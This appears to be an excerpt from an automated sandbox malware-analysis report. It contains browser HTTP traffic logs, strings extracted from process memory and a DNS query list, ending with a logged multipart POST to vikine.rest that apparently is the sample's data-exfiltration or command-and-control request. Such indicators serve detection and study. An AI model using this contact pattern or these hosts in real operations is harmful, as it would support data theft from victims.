Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/web-worker.8ed343c804e9069b52b4.js HTTP/1.1Host: ntp.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-viewport-height: 876sec-ch-ua-arch: "x86"sec-ch-viewport-width: 1232sec-ch-ua-platform-version: "10.0.0"downlink: 1.5sec-ch-ua-bitness: "64"sec-ch-ua-full-version-list: "Microsoft Edge";v="117.0.2045.47", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-model: ""sec-ch-prefers-color-scheme: lightsec-ch-ua-platform: "Windows"device-memory: 8rtt: 100sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-full-version: "117.0.2045.47"sec-ch-dpr: 1ect: 4gAccept: /sec-edge-ntp: {"back_block":0,"bg_cur":{},"bg_img_typ":"bing","exp":["msQuickLinksDefaultOneRow","msShoppingWebAssistOnNtp","msShoppingHistogramsOnNtp","msEnableWinHPNewTabBackButtonFocusAndClose","msCustomMaxQuickLinks","msMaxQuickLinksAt20","msAllowThemeInstallationFromChromeStore","msEdgeSplitWindowPrivateTarget","msEdgeSplitWindowLinkMode"],"feed":0,"feed_dis":"onscroll","layout":1,"quick_links_opt":1,"sel_feed_piv":"","show_greet":true,"vt_opened":false}Sec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: workerReferer: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; sptmarket=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=4F9A001C7A8549FF8192A87DB7858DA6.RefC=2025-02-07T16:44:07Z; USRLOC=; MUID=16F3E7E4A92E6FCB3913F268A8A46EEA; MUIDB=16F3E7E4A92E6FCB3913F268A8A46EEA; _EDGE_S=F=1&SID=3186ECCFD82E68EB245BF943D9146971; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/vendors.f30eb488fb3069c7561f.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/microsoft.7fc3109769390e0f7912.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/common.631ecbb4652e5615b96a.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/experience.3341f078ea9822198c79.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /crx/blobs/ASuc5ohfQPNzGo5SSihcSk6msC8CUKw5id-p0KCEkBKwK2LS4AjdrDP0wa1qjzCTaTWEfyM52ADmUAdPETYA5vgD87UPEj6gyG11hjsvMLHGmzQgJ9F5D8s8Lo0Lbai5BQYAxlKa5esPJXukyaicyq83JwZ0HIWqzrjN/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_86_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /statics/icons/favicon_newtabpage.png HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=16F3E7E4A92E6FCB3913F268A8A46EEA; _EDGE_S=F=1&SID=3186ECCFD82E68EB245BF943D9146971; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1738946651019&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=4f9a001c7a8549ff8192a87db7858da6&activityId=4f9a001c7a8549ff8192a87db7858da6&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=16F3E7E4A92E6FCB3913F268A8A46EEA; _EDGE_S=F=1&SID=3186ECCFD82E68EB245BF943D9146971; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /b?rn=1738946651020&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=16F3E7E4A92E6FCB3913F268A8A46EEA&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b2?rn=1738946651020&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=16F3E7E4A92E6FCB3913F268A8A46EEA&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=1C2c5f3ab15f00377916a3b1738946652; XID=1C2c5f3ab15f00377916a3b1738946652
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1738946651019&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=4f9a001c7a8549ff8192a87db7858da6&activityId=4f9a001c7a8549ff8192a87db7858da6&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=0A716777C9C14A3D9549FC8B68E2231A&MUID=16F3E7E4A92E6FCB3913F268A8A46EEA HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=16F3E7E4A92E6FCB3913F268A8A46EEA; _EDGE_S=F=1&SID=3186ECCFD82E68EB245BF943D9146971; _EDGE_V=1; SM=T
Source: global traffic	HTTP traffic detected: GET /edge/ntp?locale=en-GB&title=New+tab&enableForceCache=true HTTP/1.1Host: ntp.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-viewport-height: 876sec-ch-ua-arch: "x86"sec-ch-viewport-width: 1232sec-ch-ua-platform-version: "10.0.0"downlink: 7.6sec-ch-ua-bitness: "64"sec-ch-ua-full-version-list: "Microsoft Edge";v="117.0.2045.47", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-model: ""sec-ch-prefers-color-scheme: lightsec-ch-ua-platform: "Windows"device-memory: 8rtt: 200sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-full-version: "117.0.2045.47"sec-ch-dpr: 1ect: 4gAccept: /sec-edge-ntp: {"back_block":0,"bg_cur":{},"bg_img_typ":"bing","exp":["msQuickLinksDefaultOneRow","msShoppingWebAssistOnNtp","msShoppingHistogramsOnNtp","msEnableWinHPNewTabBackButtonFocusAndClose","msCustomMaxQuickLinks","msMaxQuickLinksAt20","msAllowThemeInstallationFromChromeStore","msEdgeSplitWindowPrivateTarget","msEdgeSplitWindowLinkMode"],"feed":0,"feed_dis":"onscroll","layout":1,"quick_links_opt":1,"sel_feed_piv":"","show_greet":true,"vt_opened":false}Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_Auth=; pglt-edgeChromium-dhp=547; sptmarket=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=4F9A001C7A8549FF8192A87DB7858DA6.RefC=2025-02-07T16:44:07Z; USRLOC=; MUID=16F3E7E4A92E6FCB3913F268A8A46EEA; MUIDB=16F3E7E4A92E6FCB3913F268A8A46EEA; _EDGE_S=F=1&SID=3186ECCFD82E68EB245BF943D9146971; _EDGE_V=1; MicrosoftApplicationsTelemetryDeviceId=8770deb4-f11c-47f9-8b68-6c1695a81263; ai_session=ne6+sFzPRCG+P2xAH2Opkp\|1738946651014\|1738946651014; sptmarket_restored=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=4F9A001C7A8549FF8192A87DB7858DA6.RefC=2025-02-07T16:44:07Z
Source: global traffic	HTTP traffic detected: GET /edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true&enableWidgetsRegion=true HTTP/1.1Host: ntp.msn.comConnection: keep-aliveCache-Control: max-age=0Accept: /Service-Worker: scriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-edge-ntp: {"back_block":0,"bg_cur":{"configIndex":19,"imageId":"BB1msFQt","provider":"CMSImage","userSelected":false},"bg_img_typ":"bing","exp":["msQuickLinksDefaultOneRow","msShoppingWebAssistOnNtp","msShoppingHistogramsOnNtp","msEnableWinHPNewTabBackButtonFocusAndClose","msCustomMaxQuickLinks","msMaxQuickLinksAt20","msAllowThemeInstallationFromChromeStore","msEdgeSplitWindowPrivateTarget","msEdgeSplitWindowLinkMode"],"feed":0,"feed_dis":"onscroll","layout":1,"quick_links_opt":1,"sel_feed_piv":"myFeed","show_greet":true,"vt_opened":false,"wpo_nx":{"v":"2","wgt":{"src":"default"}}}Sec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: serviceworkerReferer: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_Auth=; pglt-edgeChromium-dhp=547; sptmarket=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=4F9A001C7A8549FF8192A87DB7858DA6.RefC=2025-02-07T16:44:07Z; USRLOC=; MUID=16F3E7E4A92E6FCB3913F268A8A46EEA; MUIDB=16F3E7E4A92E6FCB3913F268A8A46EEA; _EDGE_S=F=1&SID=3186ECCFD82E68EB245BF943D9146971; _EDGE_V=1; MicrosoftApplicationsTelemetryDeviceId=8770deb4-f11c-47f9-8b68-6c1695a81263; ai_session=ne6+sFzPRCG+P2xAH2Opkp\|1738946651014\|1738946651014; sptmarket_restored=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=4F9A001C7A8549FF8192A87DB7858DA6.RefC=2025-02-07T16:44:07Z

Source: feab1e93-d959-47bc-b270-ecbbe275051e.tmp.26.dr	String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)
Source: chrome.exe, 00000014.00000002.2057087087.00006254028C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %https://www.youtube.com/?feature=ytca equals www.youtube.com (Youtube)
Source: chrome.exe, 00000014.00000002.2056911160.0000625402860000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: /www.youtube.com/J equals www.youtube.com (Youtube)
Source: chrome.exe, 00000014.00000002.2057087087.00006254028C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000002.2056911160.0000625402860000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: @https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)
Source: chrome.exe, 00000014.00000003.1970194217.00006254025B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1970078156.0000625403158000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1970128537.0000625403130000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 00000014.00000003.1970194217.00006254025B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1970078156.0000625403158000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1970128537.0000625403130000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 00000014.00000002.2056911160.0000625402860000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ht/www.youtube.com/J equals www.youtube.com (Youtube)
Source: chrome.exe, 00000014.00000003.2004677480.0000625403E6C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1966943805.0000625402DC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000002.2061250288.0000625402E34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: chrome.exe, 00000014.00000002.2057087087.00006254028C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/: equals www.youtube.com (Youtube)
Source: chrome.exe, 00000014.00000003.1966943805.0000625402DC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1993139439.0000625402DBC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1974390059.0000625402DBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/< equals www.youtube.com (Youtube)
Source: chrome.exe, 00000014.00000003.1966943805.0000625402DC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1993139439.0000625402DBC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1974390059.0000625402DBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/?feature=ytca ' equals www.youtube.com (Youtube)
Source: chrome.exe, 00000014.00000002.2063024550.00006254030F0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1966943805.0000625402DC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1993139439.0000625402DBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/?feature=ytca equals www.youtube.com (Youtube)
Source: chrome.exe, 00000014.00000002.2063024550.00006254030F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/?feature=ytcaogl equals www.youtube.com (Youtube)
Source: chrome.exe, 00000014.00000002.2057087087.00006254028C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/J equals www.youtube.com (Youtube)
Source: chrome.exe, 00000014.00000003.1966943805.0000625402DC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1993139439.0000625402DBC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1974390059.0000625402DBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/Q: equals www.youtube.com (Youtube)
Source: chrome.exe, 00000014.00000002.2061531158.0000625402E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000002.2063554768.0000625403264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)
Source: chrome.exe, 00000014.00000002.2063554768.0000625403264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.htmllt equals www.youtube.com (Youtube)
Source: chrome.exe, 00000014.00000002.2061150428.0000625402E0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: pKGhIPUplSdqEpyFxAgXdkn.pKGhIPUplSdqEpyFxAgXdkn
Source: global traffic	DNS traffic detected: DNS query: t.me
Source: global traffic	DNS traffic detected: DNS query: vikine.rest
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----tr9z5xbsr1n7yu3oppz5User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0Host: vikine.restContent-Length: 255Connection: Keep-AliveCache-Control: no-cache

Source: global traffic

